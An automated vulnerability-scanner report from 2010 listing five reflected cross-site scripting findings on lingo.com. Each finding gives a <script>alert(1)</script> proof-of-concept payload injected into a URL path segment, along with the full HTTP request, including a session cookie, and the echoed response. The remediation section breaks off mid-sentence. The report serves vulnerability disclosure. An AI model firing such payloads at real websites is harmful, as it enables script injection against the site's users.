lingo.com, XSS, Cross Site Scripting, CWE-79, CAPEC-86

Cross Site Scripting in lingo.com | Vulnerability Crawler Report

Report generated by XSS.CX at Sun Dec 19 11:52:49 CST 2010.


Loading



1. Cross-site scripting (reflected)

1.1. https://www.lingo.com/com/primustel/gu/presentation/residential/GUUSResHelloAmerica250Package.do [REST URL parameter 1]

1.2. https://www.lingo.com/com/primustel/gu/presentation/residential/GUUSResHelloAmerica250Package.do [REST URL parameter 2]

1.3. https://www.lingo.com/com/primustel/gu/presentation/residential/GUUSResHelloAmerica250Package.do [REST URL parameter 3]

1.4. https://www.lingo.com/com/primustel/gu/presentation/residential/GUUSResHelloAmerica250Package.do [REST URL parameter 4]

1.5. https://www.lingo.com/com/primustel/gu/presentation/residential/GUUSResHelloAmerica250Package.do [REST URL parameter 5]



1. Cross-site scripting (reflected)
There are 5 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://www.lingo.com/com/primustel/gu/presentation/residential/GUUSResHelloAmerica250Package.do [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.lingo.com
Path:   /com/primustel/gu/presentation/residential/GUUSResHelloAmerica250Package.do

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 10ff5<script>alert(1)</script>1f65ca57913 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /com10ff5<script>alert(1)</script>1f65ca57913/primustel/gu/presentation/residential/GUUSResHelloAmerica250Package.do?pc=HAPRSP HTTP/1.1
Host: www.lingo.com
Connection: keep-alive
Referer: http://www.lingo.com/voip/residential/residential_rates.jsp
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=NTvttPhxyDnj1Qw5BFvgBtL4VqmnLh5v26TTcCgY4JnGbH6G1r2G!-1489590408; __utmz=1.1292775342.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1078264396.1292775342.1292775342.1292775342.1; __utmc=1; __utmb=1.2.10.1292775342

Response

HTTP/1.1 200 OK
Date: Sun, 19 Dec 2010 16:21:33 GMT
Server: Apache/2.2.14 (Unix)
Pragma: No-cache
Content-Length: 577
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Connection: close
Content-Type: text/html;charset=UTF-8

<html><head><title>Page Flow Error - Action Not Found</title></head>
<body>
<h1>Page Flow Error - Action Not Found</h1>
<table border="1" cellspacing="0">
<tr><td><b>Page Flow:</b></td><td>Global.
...[SNIP]...
<td>com10ff5<script>alert(1)</script>1f65ca57913/primustel/gu/presentation/residential/GUUSResHelloAmerica250Package</td>
...[SNIP]...

1.2. https://www.lingo.com/com/primustel/gu/presentation/residential/GUUSResHelloAmerica250Package.do [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.lingo.com
Path:   /com/primustel/gu/presentation/residential/GUUSResHelloAmerica250Package.do

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload c1bfb<script>alert(1)</script>3391f1da5b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /com/primustelc1bfb<script>alert(1)</script>3391f1da5b/gu/presentation/residential/GUUSResHelloAmerica250Package.do?pc=HAPRSP HTTP/1.1
Host: www.lingo.com
Connection: keep-alive
Referer: http://www.lingo.com/voip/residential/residential_rates.jsp
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=NTvttPhxyDnj1Qw5BFvgBtL4VqmnLh5v26TTcCgY4JnGbH6G1r2G!-1489590408; __utmz=1.1292775342.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1078264396.1292775342.1292775342.1292775342.1; __utmc=1; __utmb=1.2.10.1292775342

Response

HTTP/1.1 200 OK
Date: Sun, 19 Dec 2010 16:21:34 GMT
Server: Apache/2.2.14 (Unix)
Pragma: No-cache
Content-Length: 575
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Connection: close
Content-Type: text/html;charset=UTF-8

<html><head><title>Page Flow Error - Action Not Found</title></head>
<body>
<h1>Page Flow Error - Action Not Found</h1>
<table border="1" cellspacing="0">
<tr><td><b>Page Flow:</b></td><td>Global.
...[SNIP]...
<td>com/primustelc1bfb<script>alert(1)</script>3391f1da5b/gu/presentation/residential/GUUSResHelloAmerica250Package</td>
...[SNIP]...

1.3. https://www.lingo.com/com/primustel/gu/presentation/residential/GUUSResHelloAmerica250Package.do [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.lingo.com
Path:   /com/primustel/gu/presentation/residential/GUUSResHelloAmerica250Package.do

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 875bc<script>alert(1)</script>ebcd4559a73 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /com/primustel/gu875bc<script>alert(1)</script>ebcd4559a73/presentation/residential/GUUSResHelloAmerica250Package.do?pc=HAPRSP HTTP/1.1
Host: www.lingo.com
Connection: keep-alive
Referer: http://www.lingo.com/voip/residential/residential_rates.jsp
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=NTvttPhxyDnj1Qw5BFvgBtL4VqmnLh5v26TTcCgY4JnGbH6G1r2G!-1489590408; __utmz=1.1292775342.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1078264396.1292775342.1292775342.1292775342.1; __utmc=1; __utmb=1.2.10.1292775342

Response

HTTP/1.1 200 OK
Date: Sun, 19 Dec 2010 16:21:35 GMT
Server: Apache/2.2.14 (Unix)
Pragma: No-cache
Content-Length: 577
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Connection: close
Content-Type: text/html;charset=UTF-8

<html><head><title>Page Flow Error - Action Not Found</title></head>
<body>
<h1>Page Flow Error - Action Not Found</h1>
<table border="1" cellspacing="0">
<tr><td><b>Page Flow:</b></td><td>Global.
...[SNIP]...
<td>com/primustel/gu875bc<script>alert(1)</script>ebcd4559a73/presentation/residential/GUUSResHelloAmerica250Package</td>
...[SNIP]...

1.4. https://www.lingo.com/com/primustel/gu/presentation/residential/GUUSResHelloAmerica250Package.do [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.lingo.com
Path:   /com/primustel/gu/presentation/residential/GUUSResHelloAmerica250Package.do

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload dd870<script>alert(1)</script>0766fee22fe was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /com/primustel/gu/presentationdd870<script>alert(1)</script>0766fee22fe/residential/GUUSResHelloAmerica250Package.do?pc=HAPRSP HTTP/1.1
Host: www.lingo.com
Connection: keep-alive
Referer: http://www.lingo.com/voip/residential/residential_rates.jsp
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=NTvttPhxyDnj1Qw5BFvgBtL4VqmnLh5v26TTcCgY4JnGbH6G1r2G!-1489590408; __utmz=1.1292775342.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1078264396.1292775342.1292775342.1292775342.1; __utmc=1; __utmb=1.2.10.1292775342

Response

HTTP/1.1 200 OK
Date: Sun, 19 Dec 2010 16:21:36 GMT
Server: Apache/2.2.14 (Unix)
Pragma: No-cache
Content-Length: 577
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Connection: close
Content-Type: text/html;charset=UTF-8

<html><head><title>Page Flow Error - Action Not Found</title></head>
<body>
<h1>Page Flow Error - Action Not Found</h1>
<table border="1" cellspacing="0">
<tr><td><b>Page Flow:</b></td><td>Global.
...[SNIP]...
<td>com/primustel/gu/presentationdd870<script>alert(1)</script>0766fee22fe/residential/GUUSResHelloAmerica250Package</td>
...[SNIP]...

1.5. https://www.lingo.com/com/primustel/gu/presentation/residential/GUUSResHelloAmerica250Package.do [REST URL parameter 5]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.lingo.com
Path:   /com/primustel/gu/presentation/residential/GUUSResHelloAmerica250Package.do

Issue detail

The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload 1b746<script>alert(1)</script>f5ce6cce4d6 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /com/primustel/gu/presentation/residential1b746<script>alert(1)</script>f5ce6cce4d6/GUUSResHelloAmerica250Package.do?pc=HAPRSP HTTP/1.1
Host: www.lingo.com
Connection: keep-alive
Referer: http://www.lingo.com/voip/residential/residential_rates.jsp
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=NTvttPhxyDnj1Qw5BFvgBtL4VqmnLh5v26TTcCgY4JnGbH6G1r2G!-1489590408; __utmz=1.1292775342.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1078264396.1292775342.1292775342.1292775342.1; __utmc=1; __utmb=1.2.10.1292775342

Response

HTTP/1.1 200 OK
Date: Sun, 19 Dec 2010 16:21:37 GMT
Server: Apache/2.2.14 (Unix)
Pragma: No-cache
Content-Length: 577
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Connection: close
Content-Type: text/html;charset=UTF-8

<html><head><title>Page Flow Error - Action Not Found</title></head>
<body>
<h1>Page Flow Error - Action Not Found</h1>
<table border="1" cellspacing="0">
<tr><td><b>Page Flow:</b></td><td>Global.
...[SNIP]...
<td>com/primustel/gu/presentation/residential1b746<script>alert(1)</script>f5ce6cce4d6/GUUSResHelloAmerica250Package</td>
...[SNIP]...

Report generated by XSS.CX at Sun Dec 19 11:52:49 CST 2010.